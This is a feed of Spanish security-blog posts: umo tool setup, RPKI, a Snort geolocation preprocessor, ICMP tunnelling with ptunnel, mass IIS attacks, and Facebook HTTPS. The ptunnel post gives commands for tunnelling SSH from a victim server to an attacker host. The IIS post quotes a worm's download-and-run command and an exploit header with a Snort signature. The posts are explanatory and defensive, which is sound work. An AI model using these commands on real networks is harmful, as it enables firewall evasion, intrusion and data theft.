<p>Para conseguir nuestra API Key de Bing, tendremos que ir a la <a href="http://www.bing.com/developers/">página Web de Bing</a> para obtenerla. Ahora es el momento de configurar la librería <a href="http://code.google.com/p/safebrowsing-python/">safebrowsing de python</a>, apoyándonos como siempre en la web oficial. Primero deberemos crear la base datos. Para ello utilizaremos Mysql  (acordaros de disponer de python-mysqldb para poder interactuar con la base de datos) y haremos:</p>
<p>Creamos la base de datos: <strong>safebrowsing</strong></p>
<div style="-moz-border-radius: 5px 5px 5px 5px; border: 1px solid #ccc; background: #eee; padding: 10px 25px 10px 25px;"><code>mysql> CREATE DATABASE safebrowsing;</code></div>
<p>Creamos el <a href="http://code.google.com/p/safebrowsing-python/wiki/SQLSchema">esquema de la base de datos como indica en la web oficial</a>.</p>
<p>Un usuario para acceso a la base de datos de safebrowsing: <strong>umosb</strong></p>
<div style="-moz-border-radius: 5px 5px 5px 5px; border: 1px solid #ccc; background: #eee; padding: 10px 25px 10px 25px;"><code>mysql> CREATE USER 'umosb'@'localhost' IDENTIFIED BY 'mi pass'</code></div>
<p>Damos permisos a ese usuario sobre la base de datos.</p>
<div style="-moz-border-radius: 5px 5px 5px 5px; border: 1px solid #ccc; background: #eee; padding: 10px 25px 10px 25px;"><code>mysql> GRANT ALL PRIVILEGES ON safebrowsing.* TO 'umosb'@'localhost';<br />
mysql> flush privileges;</code></div>
<p>Ahora estos datos los pondremos en fichero “trunk/safebrowsing/conf.py”:</p>
<div style="-moz-border-radius: 5px 5px 5px 5px; border: 1px solid #ccc; background: #eee; padding: 10px 25px 10px 25px;"><code># Inspired from Django's settings.py<br />
DATABASE_ENGINE = 'mysql'     # Possible values being 'postgresql', 'mysql', 'sqlite3' or 'memcached'<br />
DATABASE_NAME = 'safebrowsing'       # Or path to database file if using sqlite3.<br />
DATABASE_USER = 'umosb'              # Not used with sqlite3.<br />
DATABASE_PASSWORD = 'mipass'          # Not used with sqlite3.<br />
DATABASE_HOST = 'localhost'              # Set to empty string for localhost. Not used with sqlite3.<br />
DATABASE_PORT = ''              # Set to empty string for default. Not used with sqlite3.<br />
API_KEY = '<span style="background-color:yellow">Mi API key</span>'                 # API Key provided by Google.</code></div>
<p>Del único dato que no hemos hablado es del API key de safebrowsing de Google. Para conseguirlo deberemos disponer de una cuenta de Google y acceder a la <a href="http://code.google.com/intl/es-ES/apis/safebrowsing/key_signup.html">web donde se nos generará la key</a> estando autenticados con nuestra cuenta de Google.</p>
<p>Por último configuraremos en “trunk/umoconfig.py” los diferentes valores. Sobretodo debemos fijar en ese fichero el Bing API key.</p>
<div style="-moz-border-radius: 5px 5px 5px 5px; border: 1px solid #ccc; background: #eee; padding: 10px 25px 10px 25px;"><code>skippages = 0<br />
pages = 10<br />
results = 100<br />
googlesleep = 5<br />
user_agent = 'code.google.com/umo'<br />
bingresults = 400<br />
bingkey = '<span style="background-color:yellow">API Key Bing</span>'<br />
depth = '1'<br />
malware = 'umomalware.log'<br />
safebrowsing = 'True'<br />
updatesafebrowsing = 'False'<br />
maxtries = 5</code></div>
<p>Llegados a este punto si todo ha ido bien tendremos umo beta 0.1b lista para jugar. En una próxima entrada pondré ejemplos de uso, para que sea más sencillo conocerla. </p>
<p>Nota: Con las pruebas que estoy realizando existen algunas búsquedas, sobretodo con Google, que no están del todo controladas por el script; en estos momento estoy “debugueando” y corrigiendo. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.securityartwork.es/2011/07/13/instalacion-de-umo-0-1b-beta-url-malware-owned/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>El framework RPKI</title>
		<link>http://www.securityartwork.es/2011/05/10/el-framework-rpki/</link>
		<comments>http://www.securityartwork.es/2011/05/10/el-framework-rpki/#comments</comments>
		<pubDate>Tue, 10 May 2011 09:38:57 +0000</pubDate>
		<dc:creator>Jose L. Villalón</dc:creator>
				<category><![CDATA[Seg. Lógica]]></category>

		<guid isPermaLink="false">http://www.securityartwork.es/?p=5360</guid>
		<description><![CDATA[Hace algo mas de un año, uno de nuestros colaboradores escribió el post titulado &#8220;Disponibilidad en los servicios de conectividad a internet&#8221; donde se hacía referencia al secuestro de los prefijos IP de youtube desde Pakistan Telecom (junto otros ejemplos).
Copiando de dicho post, el ejemplo fue el siguiente:
El AS17557 (Pakistán Telecom), siguiendo una orden del [...]]]></description>
			<content:encoded><![CDATA[<p>Hace algo mas de un año, uno de nuestros colaboradores escribió el post titulado &#8220;<a href="(http://www.securityartwork.es/2010/02/05/disponibilidad-en-los-servicios-de-conectividad-a-internet/">Disponibilidad en los servicios de conectividad a internet</a>&#8221; donde se hacía referencia al secuestro de los prefijos IP de youtube desde Pakistan Telecom (junto otros ejemplos).</p>
<p>Copiando de dicho post, el ejemplo fue el siguiente:</p>
<div style="-moz-border-radius: 5px 5px 5px 5px; border: 1px solid #ccc; background: #eee; padding: 10px;">El AS17557 (Pakistán Telecom), siguiendo una orden del gobierno pakistaní de bloquear el acceso a YouTube, empezó a anunciar uno de los prefijos del direccionamiento de YouTube seccionando —utilizando una red más específica— el prefijo habitual utilizado por la empresa de vídeos online. Cuando la ruta se propagó a través de la red de ASs, el tráfico mundial destinado a dicha subred utilizó el camino de los ASs anunciados para la dirección más específica, siendo enviado al AS17557 en lugar de al AS de Youtube.</div>
<p>Este problema se podría haber evitado si pudiéramos responder lo siguiente: <strong>He recibido un anuncio de ruta del bloque 208.65.153.0/24 con origen el AS 17557. ¿Es un anuncio autorizado?</strong></p>
<p>Según la última información sobre el tema que he podido revisar, para resolver esta cuestión se han propuesto distintas soluciones, pero la que parece ser que está teniendo más posibilidades es el uso del <a href="http://en.wikipedia.org/wiki/Resource_Public_Key_Infrastructure">framework RPKI</a>. RPKI está siendo usado en producción desde hace varios meses por distintos RIR&#8217;s y se basa en el uso de certificados digitales X.509 (con posibilidad de usar extensiones) para firmar las ROAs (<em>Routing Origin Authorization</em>), puesto que el AS origen del anuncio de ruta viene incluido en el AS_PATH, proporcionando la siguiente funcionalidad:</p>
<ul>
<li>Creación de certificados digitales que corresponden a los bloques de recursos asignado. El usuario asigna el bloque de direcciones IP 1234, el cual tiene asignado el certificado para el bloque de direcciones 1234.</li>
<li>Permite el uso de estos certificados para firmar la autorización de enrutamiento. El proveedor ABC puede enrutar el bloque de direcciones 1234.</li>
<li>Permite la publicación de forma segura de un repositorio de ROAs firmadas digitalmente.</li>
<li>Las redes que reciben la actualización pueden consultar el repositorio para determinar el origen de la actualización y comprobar si coincide con la autorización para el bloque de direcciones.</li>
</ul>
<p>De esta forma, es posible prevenir el secuestro de rutas ocasionadas de forma malintencionadas o por error del operador, puesto que un router que hable BGP podría utilizar el framework RPKI &#8212;nos consta que algunos modelos de Cisco ya lo soportan&#8212; para validar una ruta y rechazarla en caso de no tener autorización correcta.</p>
<p>Puesto que ya sabemos que la seguridad es un proceso continuo, y los vectores de ataque cambian, éste sería un primer paso para securizar los servicios de conectividad a Internet, pero ni mucho menos el último, ya que lo más posible es que aparezcan nuevos ataques que intenten explotar este framework así como otras vulnerabilidades, como el <em>spoofing</em> del origen de ruta especificado en el AS_PATH. No obstante, es un primer comienzo.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.securityartwork.es/2011/05/10/el-framework-rpki/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Preprocesador de SNORT para geolocalización</title>
		<link>http://www.securityartwork.es/2011/05/05/preprocesador-de-snort-para-geolocalizacion/</link>
		<comments>http://www.securityartwork.es/2011/05/05/preprocesador-de-snort-para-geolocalizacion/#comments</comments>
		<pubDate>Thu, 05 May 2011 10:30:12 +0000</pubDate>
		<dc:creator>Joaquín Moreno</dc:creator>
				<category><![CDATA[Seg. Lógica]]></category>

		<guid isPermaLink="false">http://www.securityartwork.es/?p=5284</guid>
		<description><![CDATA[En la siguiente entrada vamos a tratar la herramienta de seguridad Snort, la cual es una aplicación de detección de intrusos a nivel de red (IDS). Su función es leer el tráfico de red, normalizarlo, catalogarlo y analizarlo mediante un motor de reglas en busca de una serie de patrones en el tráfico que identifiquen [...]]]></description>
			<content:encoded><![CDATA[<p>En la siguiente entrada vamos a tratar la herramienta de seguridad <a href="http://www.snort.org/">Snort</a>, la cual es una aplicación de detección de intrusos a nivel de red (IDS). Su función es leer el tráfico de red, normalizarlo, catalogarlo y analizarlo mediante un motor de reglas en busca de una serie de patrones en el tráfico que identifiquen un posible ataque; por tanto se trata de un IDS basado en firmas. Así, dada una amenaza previamente conocida se crea una firma que permita la detección del tráfico malintencionado. Es por ello que la herramienta no dispone de la capacidad de detectar anomalías en el tráfico que permitan identificar vulnerabilidades no conocidas o <em>malware</em> dirigido. </p>
<p>Veamos lo expuesto con anterioridad en el siguiente ejemplo: se realiza una conexión saliente desde el equipo del gerente hacia China empleando el protocolo cifrado SSL a las tres de la madrugada. Es posible que este hecho requiera la intervención del equipo de gestión de incidentes, aunque implique inicialmente la actuación del primer nivel, para comprobar el motivo de esta conexión. ¿Pero cómo alertamos de esta conexión? Snort lo único que ve es una conexión desde un equipo a un servidor de Internet que emplea el protocolo SSL, es decir, una navegación web con protocolo HTTPS. Un IDS basado en reglas no entiende ni conoce los siguientes puntos:</p>
<ul>
<li>Geolocalización: todas las IPs de Internet son iguales para él, no entiende de países.</li>
<li>Horarios: para él una conexión a las 12:00 es lo mismo que a las 3:00.</li>
<li>Patrones de conexión: desconoce el comportamiento de la red y por tanto no puede detectar anomalías. </li>
</ul>
<p>Ante esta situación el equipo de seguridad analiza cómo poder añadir estas funcionalidades al motor de Snort, permitiendo detectar amenazas como las expuestas con anterioridad. Así, se decide crear una serie de preprocesadores dinámicos empleando para ello el lenguaje de programación C y la API proporcionada por Snort. Cierto es que nos encontramos con el escollo de que la documentación es escasa, por lo que hay que recurrir al estudio del código fuente de la herramienta  para comprender el funcionamiento de estos. </p>
<p>Dentro de estos preprocesadores quiero mostrarles el funcionamiento del preprocesador de geolocalización, el cual permite marcar el país de procedencia y destino de los paquetes que son tratados por Snort, permitiendo aplicar ciertas reglas dependiendo del origen o destino del país mediante los tag “CountryS” para el origen y “CountryD” para el destino.  </p>
<p>Veamos un ejemplo para entender el comportamiento de este preprocesador. Para ello crearemos dos reglas de Snort, donde la primera, con identificador “10000001”, generará alerta si detecta paquetes ICMP hacia Rusia (codificado como RUS) y la segunda regla, “10000002”, detectará paquetes ICMP que vengan de Rusia:</p>
<div style="-moz-border-radius: 5px 5px 5px 5px; border: 1px solid #ccc; background: #eee; padding: 10px;">
<code><strong># cat /etc/snort/rules/local.rules</strong><br />
alert icmp any any -> any any (msg:"Destino de Rusia"; countryD: RUS; sid:10000001; rev:2;)<br />
alert icmp any any -> any any (msg:"Origen de Rusia"; countryS: RUS; sid:10000002; rev:2;)<br />
#</code></div>
<p>Como vemos, hemos indicado en la primera regla que genere alerta si el país destino es Rusia (countryD: RUS;) y en la segunda regla si el país origen es Rusia (countryS: RUS;). El siguiente paso consistirá en compilar nuestro preprocesador y tenerlo en el directorio de preprocesadores dinámicos indicados en el fichero de configuración de Snort:</p>
<div style="-moz-border-radius: 5px 5px 5px 5px; border: 1px solid #ccc; background: #eee; padding: 10px;"><code><strong># cd /usr/src/snort-2.9.0.1/src/dynamic-preprocessors/geolocalizacion/</strong><br />
<strong># make clean<br />
# make<br />
# make install<br />
# ls /usr/local/lib/snort_dynamicpreprocessor/ | grep geolocalizacion </strong><br />
lib_sfdynamic_geolocalizacion.a<br />
lib_sfdynamic_geolocalizacion.la<br />
lib_sfdynamic_geolocalizacion.so<br />
lib_sfdynamic_geolocalizacion.so.0<br />
lib_sfdynamic_geolocalizacion.so.0.0.0<br />
#</code></div>
<p>A continuación se debe incluir el preprocesador en el fichero de configuración de Snort para que sea cargado por éste en su arranque; tengan en cuenta que el orden de los preprocesadores importa, por lo que se recomienda que esté después de “frag3”. En nuestro caso vamos a indicar que queremos que únicamente marque aquellos paquetes con origen o destino de Rusia, China, Iraq y Irán (con el tag ALL marcaría todos los paquetes):</p>
<div style="-moz-border-radius: 5px 5px 5px 5px; border: 1px solid #ccc; background: #eee; padding: 10px;"><code><br />
preprocessor Geolocalizacion: country RUS CHN IRN IRQ</code></div>
<p>De esta forma ya podremos ejecutar Snort con su preprocesador:</p>
<div style="-moz-border-radius: 5px 5px 5px 5px; border: 1px solid #ccc; background: #eee; padding: 10px;"><code><strong># /usr/local/bin/snort -A console -u snort -g snort -c /etc/snort/snort.conf -i eth0 </strong><br />
...<br />
<font color="#ff0000">Configuración del preprocesador Geolocalizacion<br />
    Listado de paises: IRQ IRN CHN RUS<br />
    BBDD GeoIP cargada en memoria</font><br />
...<br />
+++++++++++++++++++++++++++++++++++++++++++++++++++<br />
Initializing rule chains...<br />
<font color="#ff0000">2 Snort rules read </font><br />
    2 detection rules<br />
    0 decoder rules<br />
    0 preprocessor rules<br />
2 Option Chains linked into 1 Chain Headers<br />
0 Dynamic rules<br />
+++++++++++++++++++++++++++++++++++++++++++++++++++<br />
...<br />
        --== Initialization Complete ==--</p>
<p></code><code>,,_     -*&gt; Snort! &lt; *-<br />
  o"  )~   Version 2.9.0.1 IPv6 (Build 82)<br />
   ''''    By Martin Roesch &#038; The Snort Team: http://www.snort.org/snort/snort-team<br />
           Copyright (C) 1998-2010 Sourcefire, Inc., et al.<br />
           Using libpcap version 1.1.1<br />
           Using PCRE version: 8.02 2010-03-19<br />
           Using ZLIB version: 1.2.3.4<br />
           Rules Engine: SF_SNORT_DETECTION_ENGINE  Version 1.12 &lt;Build 18&gt;<br />
           Preprocessor Object: SF_SMTP (IPV6)  Version 1.1 &lt;Build 9&gt;<br />
           Preprocessor Object: SF_FTPTELNET (IPV6)  Version 1.2  &lt;Build 13&gt;<br />
           Preprocessor Object: SF_DNS (IPV6)  Version 1.1 &lt;Build 4&gt;<br />
           Preprocessor Object: SF_SSLPP (IPV6)  Version 1.1 &lt;Build 4&gt;<br />
           Preprocessor Object: SF_DCERPC2 (IPV6)  Version 1.0 &lt;Build 3&gt;<br />
           Preprocessor Object: SF_SDF (IPV6)  Version 1.1 &lt;Build 1&gt;<br />
           <font color="#ff0000">Preprocessor Object: Geolocalizacion  Version 1.1 &lt;Build 1&gt; </font><br />
           Preprocessor Object: SF_SSH (IPV6)  Version 1.1  &lt;Build 13&gt;<br />
           Commencing packet processing (pid=17271)<br />
#<br />
</code></div>
<p>Para finalizar vamos a comprobar que el preprocesador funciona correctamente, y para ello emplearemos Scapy o Hping3 para el envío de paquetes ICMP con IP&#8217;s orígenes falsificadas de distintos países hasta que finalmente enviamos una trama con IP rusa (62.5.128.1), generando así la alerta del paquete ICMP procedente de Rusia y seguidamente en del paquete ICMP de respuesta:</p>
<div style="-moz-border-radius: 5px 5px 5px 5px; border: 1px solid #ccc; background: #eee; padding: 10px;"><font color="#ff0000"><code>04/29-19:33:22.973577 [**] [1:10000002:2] Origen de Rusia [**] [Priority: 0] {ICMP} 62.5.128.1 -> 10.10.0.8<br />
04/29-19:33:22.973648 [**] [1:10000001:2] Destino de Rusia [**] [Priority: 0] {ICMP} 10.10.0.8 -> 62.5.128.1</code></font></div>
<p>Como vemos, con preprocesadores de estas características podemos aportar lógica a Snort para detectar patrones anómalos que permitan descubrir posible malware dirigido, fugas de información y <em>0 days</em>, permitiendo de esta forma que Snort no sea un simple IDS basado en la detección  de patrones. Esperamos que les haya parecido interesante la entrada. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.securityartwork.es/2011/05/05/preprocesador-de-snort-para-geolocalizacion/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Saltar filtrado de cortafuegos mediante paquetes ICMP</title>
		<link>http://www.securityartwork.es/2011/04/11/saltar-filtrado-de-cortafuegos-mediante-paquetes-icmp/</link>
		<comments>http://www.securityartwork.es/2011/04/11/saltar-filtrado-de-cortafuegos-mediante-paquetes-icmp/#comments</comments>
		<pubDate>Mon, 11 Apr 2011 13:50:29 +0000</pubDate>
		<dc:creator>Joaquín Moreno</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Seg. Lógica]]></category>

		<guid isPermaLink="false">http://www.securityartwork.es/?p=5143</guid>
		<description><![CDATA[La arquitectura de una red empresarial requiere un diseño que permita la separación entre los usuarios, servidores internos y los servidores perimetrales o DMZ. Un diseño básico inicial consiste en un cortafuegos principal que separa el tráfico que va a la red perimetral del que va al resto de redes, existiendo un segundo cortafuegos de [...]]]></description>
			<content:encoded><![CDATA[<p>La arquitectura de una red empresarial requiere un diseño que permita la separación entre los usuarios, servidores internos y los servidores perimetrales o DMZ. Un diseño básico inicial consiste en un cortafuegos principal que separa el tráfico que va a la red perimetral del que va al resto de redes, existiendo un segundo cortafuegos de distinto fabricante en la entrada de la red de servidores internos, y entre ambos el servidor de VPN. Un esquema resumido sería el siguiente:</p>
<p><center><br />
<a href="http://www.securityartwork.es/wp-content/uploads/2011/04/Diagrama12.jpg"><img src="http://www.securityartwork.es/wp-content/uploads/2011/04/Diagrama12.jpg" alt="Diagrama1" title="Diagrama1" width="655" height="433" class="aligncenter size-full wp-image-5150" /></a><br />
</center></p>
<p>Un diseño de red como el expuesto suele acarrear una mayor dificultad a la hora de obtener ventaja de vulnerabilidades existentes en la DMZ, así como, para saltarse las restricciones de acceso a internet por parte de los usuarios (y por tanto de los empleados) sin pasar por el proxy web con filtrado de acceso y contenidos. </p>
<p>Por desgracia algunos administradores de redes cometen el fallo de no filtrar el tráfico ICMP, especialmente el “ping”, tanto desde la red DMZ como a los usuarios, e incluso permitir el tráfico ICMP en servidores internos. Pero sí en cambio filtran el tráfico UDP y TCP. Debido a este fallo de configuración, muy común por desgracia, un atacante podría emplear canales encubiertos en protocolo ICMP para realizar conexiones inversas o saltarse las restricciones y políticas de seguridad de la empresa.</p>
<p>Como prueba de concepto se va a emplear la herramienta <a href="http://www.pentestit.com/2009/05/10/ptunnel-tcp-icmp/">ptunnel</a>. Esta herramienta crea dos túneles o canales;  el primero se crea entre el cliente y el proxy <em>ptunnel</em> empleando únicamente el tráfico ICMP, mientras que el segundo se produce entre el destino real y el proxy, empleando para ello el protocolo legítimo. </p>
<p>Comencemos descargándonos la herramienta, actualmente en su versión 0.7. Una vez descargada descomprimiremos el código fuente y lo analizaremos para comprobar que no contiene código malicioso (como lo hacemos siempre, ¿verdad?&#8230;). El siguiente paso será instalar las <em>libpcap-dev</em> y compilarlo creando el binario “ptunnel”. Por ejemplo, para Debian o Ubuntu sería necesario seguir los siguientes pasos:</p>
<p><code># tar xvfz PingTunnel-0.70.tar.gz<br />
# cd PingTunnel-0.70/<br />
# apt-get install libpcap-dev<br />
# make </code></p>
<p>Una vez disponemos de la herramienta comenzaremos con la simulación, donde se conectará por SSH a un servidor mediante el empleo de canales encubiertos ICMP desde un servidor de la red interna, el cual solo permite como tráfico saliente el “ping” y conexiones previamente establecidas. </p>
<p>En la prueba el atacante hace una conexión SSH al servidor que controla, pero perfectamente podría haber realizado una copia cifrada de la documentación de la empresa usando el mismo puerto SSH mediante “scp”. Recuerden que esto es una prueba de concepto cuyo objetivo es mostrar que se puede hacer, pero no dar consejos a los atacantes de lo que deberían hacer. </p>
<p>El servidor interno será la IP 192.168.2.104 y el equipo que  controla el atacante será la IP 192.168.2.105, que podría haberse tratado de un equipo en Internet, el cual dispone de un servicio SSH y un proxy ptunnel. </p>
<p><center><br />
<a href="http://www.securityartwork.es/wp-content/uploads/2011/04/Diagrama2.jpg"><img src="http://www.securityartwork.es/wp-content/uploads/2011/04/Diagrama2.jpg" alt="Diagrama2" title="Diagrama2" width="454" height="205" class="aligncenter size-full wp-image-5152" /></a><br />
</center></p>
<p>Las órdenes necesarias son:<br />
<strong>Servidor del atacante:</strong><br />
<code># ./ptunnel -x patata</code></p>
<p><strong>Servidor víctima red interna:</strong><br />
<code># ./ptunnel -p 192.168.2.105 -lp 80 -da 192.168.2.105 -dp 22 -x patata<br />
# ssh localhost -p 80</code></p>
<p>Tal como podemos ver en la siguiente imagen, donde se aprecian dos consolas del servidor interno. La superior representa el túnel ICMP hacia la ip 192.168.2.105, cuya conexión real es el puerto 22 del mismo equipo. La consola inferior representa la conexión SSH hacia la máquina del atacante:</p>
<p><a href="http://www.securityartwork.es/wp-content/uploads/2011/04/CLiente1.jpg"><img src="http://www.securityartwork.es/wp-content/uploads/2011/04/CLiente1.jpg" alt="CLiente1" title="CLiente1" width="781" height="470" class="aligncenter size-full wp-image-5153" /></a></p>
<p>Y éste es el registro que nos muestra el proxy <em>ptunnel</em> del servidor del atacante:</p>
<p><a href="http://www.securityartwork.es/wp-content/uploads/2011/04/Proxy1.jpg"><img src="http://www.securityartwork.es/wp-content/uploads/2011/04/Proxy1.jpg" alt="Proxy1" title="Proxy1" width="507" height="125" class="aligncenter size-full wp-image-5154" /></a></p>
<p>Para finalizar mostraremos una traza con Wireshark donde el servidor interno 192.168.2.104 establece un túnel de tráfico ICMP con el servidor  192.168.2.105 para conectarse a una web de Internet cuya IP es 209.8XX.XXX.XXX; para ello empleamos la siguiente orden:</p>
<p><code><br />
# ./ptunnel -p 192.168.2.105 -lp 33 -da 209.8XX.XXX.XXX -dp 80 -x patata </code></p>
<p><a href="http://www.securityartwork.es/wp-content/uploads/2011/04/Captura.png"><img src="http://www.securityartwork.es/wp-content/uploads/2011/04/Captura.png" alt="Captura" title="Captura" width="897" height="220" class="aligncenter size-full wp-image-5155" /></a></p>
<p>Como vemos entre el servidor interno y el proxy <em>ptunnel</em> solo hay paquetes ICMP de tipo <em>request</em> y <em>reply</em>, es decir, un “ping”. Por tanto un atacante podría conectarse y permitir conexiones inversas hacia los servidores de red interna mediante paquetes ICMP. Por este y otros motivos, es muy importante que no únicamente se le preste atención a los protocolos UDP y TCP en los cortafuegos, sino también a ICMP. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.securityartwork.es/2011/04/11/saltar-filtrado-de-cortafuegos-mediante-paquetes-icmp/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Vuelven viejos conocidos. Ataques masivos a servidores IIS</title>
		<link>http://www.securityartwork.es/2011/02/10/vuelven-los-viejos-conocidos/</link>
		<comments>http://www.securityartwork.es/2011/02/10/vuelven-los-viejos-conocidos/#comments</comments>
		<pubDate>Thu, 10 Feb 2011 13:01:04 +0000</pubDate>
		<dc:creator>David Lladró</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Seg. Lógica]]></category>

		<guid isPermaLink="false">http://www.securityartwork.es/?p=4734</guid>
		<description><![CDATA[Recientemente, hemos detectado una nueva tendencia en los ataques a servidores web IIS. Los ataques intentan explotar una vieja vulnerabilidad de 2004 en los servidores web de Microsoft. Es habitual que malwares antiguos todavía sigan funcionando años después de su gran apogeo, ya que muchas máquinas no se actualizan correctamente y siguen siendo vulnerables.
Lo que [...]]]></description>
			<content:encoded><![CDATA[<p>Recientemente, hemos detectado una nueva tendencia en los ataques a servidores web IIS. Los ataques intentan explotar una vieja vulnerabilidad de 2004 en los servidores web de <a href="http://www.microsoft.com/">Microsoft</a>. Es habitual que malwares antiguos todavía sigan funcionando años después de su gran apogeo, ya que muchas máquinas no se actualizan correctamente y siguen siendo vulnerables.</p>
<p>Lo que ya no es tan común es que años después haya un aumento tan elevado de ataques, siendo estos de distintos orígenes. Como ejemplo, sirva esta captura de nuestro sistema de posicionamiento de ataques en tiempo real:</p>
<p><img src="http://www.securityartwork.es/wp-content/uploads/2011/02/mapa.JPG" alt="mapa" title="mapa" width="612" height="442" style="padding:10px 50px 10px 50px;" /></p>
<p>Como se aprecia en la imagen, los ataques provienen de todo el mundo (en el caso de la imagen; USA, India, Japón, Rusia, Taiwan&#8230; ) y en un breve espacio de tiempo. En concreto, los ataques que se reciben son al puerto 80, donde se obtienen peticiones del tipo:</p>
<div style="-moz-border-radius: 5px 5px 5px 5px; border: 1px solid #ccc; background: #eee; padding: 20px;">GET / HTTP/1.0</p>
<p>Host: XXX.XXX.XXX.XXX</p>
<p>Authorization: Negotiate YIIQegYGKwYBBQUCoIIQbjCCEGqhghBmI4IQYgOCBAEAQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU&#8230;</p></div>
<p>Después de una rápida investigación, lo mas probable es que se esté intentando explotar la vulnerabilidad de ASN.1 detallada en <a href="http://www.microsoft.com/technet/security/bulletin/MS04-007.mspx">MS04-007</a> y en <a href="http://isc.sans.edu/diary.html?date=2005-06-03">SANS.edu</a>. El ataque realiza lo siguiente:</p>
<p>1º) Ejecuta el exploit.<br />
2º) Si tiene éxito, abre un servidor ftp en el puerto 21.<br />
3º) Una vez abierto el puerto, se descarga el malware con una orden como la siguiente:</p>
<div style="-moz-border-radius: 5px 5px 5px 5px; border: 1px solid #ccc; background: #eee; padding: 20px;">cmd /c echo open 210.134.62.199 21 > o&#038;echo user 1 1 >> o &#038;echo get Rewetsr.exe >> o &#038;echo quit >> o &#038;ftp -n -s:o &#038;Rewetsr.exe</div>
<p>4º) Ejecuta el malware, se infecta y vuelve a realizar el mismo ataque para propagarse a otros sistemas.<br />
Hemos identificado que en el conjunto de los equipos infectados, efectivamente disponen del servicio ftp sirviendo el malware:</p>
<p><img src="http://www.securityartwork.es/wp-content/uploads/2011/02/nmap.JPG" alt="nmap" title="nmap" width="612" height="430" style="padding:10px 50px 10px 50px;" /><br />
Por último, para aquellos lectores que usen <a href="http://www.snort.org/">SNORT</a>, aquí tenéis una de las firmas que detecta el ataque:</p>
<div style="-moz-border-radius: 5px 5px 5px 5px; border: 1px solid #ccc; background: #eee; padding: 20px;">reject tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:&#8221;SPECIFIC-THREATS ASN.1 constructed bit string&#8221;; flow:established,to_server; content:&#8221;Authorization|3A| Negotiate YIIQegYGKwYBBQUCoIIQbjCCEGqhghBmI4IQYgOCBAEAQUFBQUF&#8221;; reference:cve,2005-1935; reference:url,<a href="http://www.phreedom.org/solar/exploits/msasn1-bitstring/">www.phreedom.org/solar/exploits/msasn1-bitstring/</a>; classtype:attempted-admin; sid:12709; rev:2;)</div>
<p>Recomendamos su inmediato despliegue en sistemas IDS e IPS.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.securityartwork.es/2011/02/10/vuelven-los-viejos-conocidos/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Facebook añade el soporte de https y autenticación social</title>
		<link>http://www.securityartwork.es/2011/01/28/facebook-anade-el-soporte-de-https-y-autenticacion-social/</link>
		<comments>http://www.securityartwork.es/2011/01/28/facebook-anade-el-soporte-de-https-y-autenticacion-social/#comments</comments>
		<pubDate>Fri, 28 Jan 2011 15:55:07 +0000</pubDate>
		<dc:creator>David Lladró</dc:creator>
				<category><![CDATA[Seg. Lógica]]></category>

		<guid isPermaLink="false">http://www.securityartwork.es/?p=4612</guid>
		<description><![CDATA[Hace un par de días Facebook anunciaba desde su blog dos de sus nuevas funcionalidades para aumentar la seguridad de sus usuarios.
La primera, y una de las más demandadas por los usuarios, es el soporte de sesiones https. Hasta ahora, solo la parte de autenticación de login y password iban cifradas, dejando toda la actividad [...]]]></description>
			<content:encoded><![CDATA[<p>Hace un par de días Facebook anunciaba desde su blog dos de sus nuevas funcionalidades para aumentar la seguridad de sus usuarios.</p>
<p>La primera, y una de las más demandadas por los usuarios, es el soporte de sesiones https. Hasta ahora, solo la parte de autenticación de login y password iban cifradas, dejando toda la actividad que realizáramos en la red social sin cifrar. De este modo, un atacante podría leer nuestras conversaciones, ver nuestras fotos, robar nuestras cookies, etc. Parece que la aparición de <a href="http://codebutler.com/firesheep">Firesheep</a>, una extensión de Firefox que permite robar las cookies de sesión de multitud de sitios web, ha acelerado el proceso de incorporación de https a los servidores de Facebook.</p>
<p>Esta nueva funcionalidad se está activando progresivamente y en unas semanas todos podremos disfrutar de una navegación más segura. Para activar el https, deberemos acceder a Configuración de la cuenta → Seguridad de la cuenta donde podremos ver algo como esto:</p>
<p><img src="http://www.securityartwork.es/wp-content/uploads/2011/01/3.jpg" width="725" height="394" style="padding:15px 0px 15px 0px;" /></p>
<p>Una vez seleccionada la opción &#8220;https&#8221; pasaremos a ver la la barra de direcciones de color verde, como en la siguiente imagen:</p>
<p><img src="http://www.securityartwork.es/wp-content/uploads/2011/01/4.jpg" width="400" height="40"  style="padding:15px 112px 15px 112px;" /></p>
<p>La otra mejora que ha añadido Facebook tiene como función evitar que un atacante que haya conseguido nuestras credenciales pueda acceder a nuestra cuenta. Para ello, si por ejemplo accedemos a Facebook desde una dirección IP de Valencia, y en pocas horas, nos volvemos a loguear desde una IP rusa, Facebook detecta que ha habido una actividad sospechosa, y deberemos validarnos como los propietarios de la cuenta. Para ello, se nos mostrarán fotos de nuestros amigos, las cuales deberemos de reconocer.</p>
<p><img src="http://www.securityartwork.es/wp-content/uploads/2011/01/5.jpg" alt="5" title="5" width="700" height="342" style="padding:15px 12px 15px 12px;" /></p>
<p>Esta última medida tiene un pequeño “inconveniente”. Hay usuarios que son jugadores muy activos de juegos como FarmVille, CityVille, etc., que se dedican a agregar amigos que no conocen solo por el simple hecho de obtener dinero virtual. Estas personas, si necesitan alguna vez realizar una autenticación social, es muy probable que no superen la prueba y tengan que pedir un cambio de contraseña (sin contar con los problemas de privacidad asociados).</p>
<p>Desde mi punto de vista, Facebook ha mejorado bastante en materia de seguridad. Aparte de las medidas aquí descritas, hace relativamente poco se introdujeron las funcionalidades de <em>logout</em> remoto y <em>one-time passwords</em> que hacen que nuestros datos sean un poco más seguros. Y aunque por defecto, la privacidad sigue siendo escasa, se puede configurar nuestra cuenta para obtener una mayor seguridad y privacidad.</p>
<p>Nada más. Pasen un buen fin de semana, aunque sea frío y pasado por agua.</p>
]]></content:encoded>
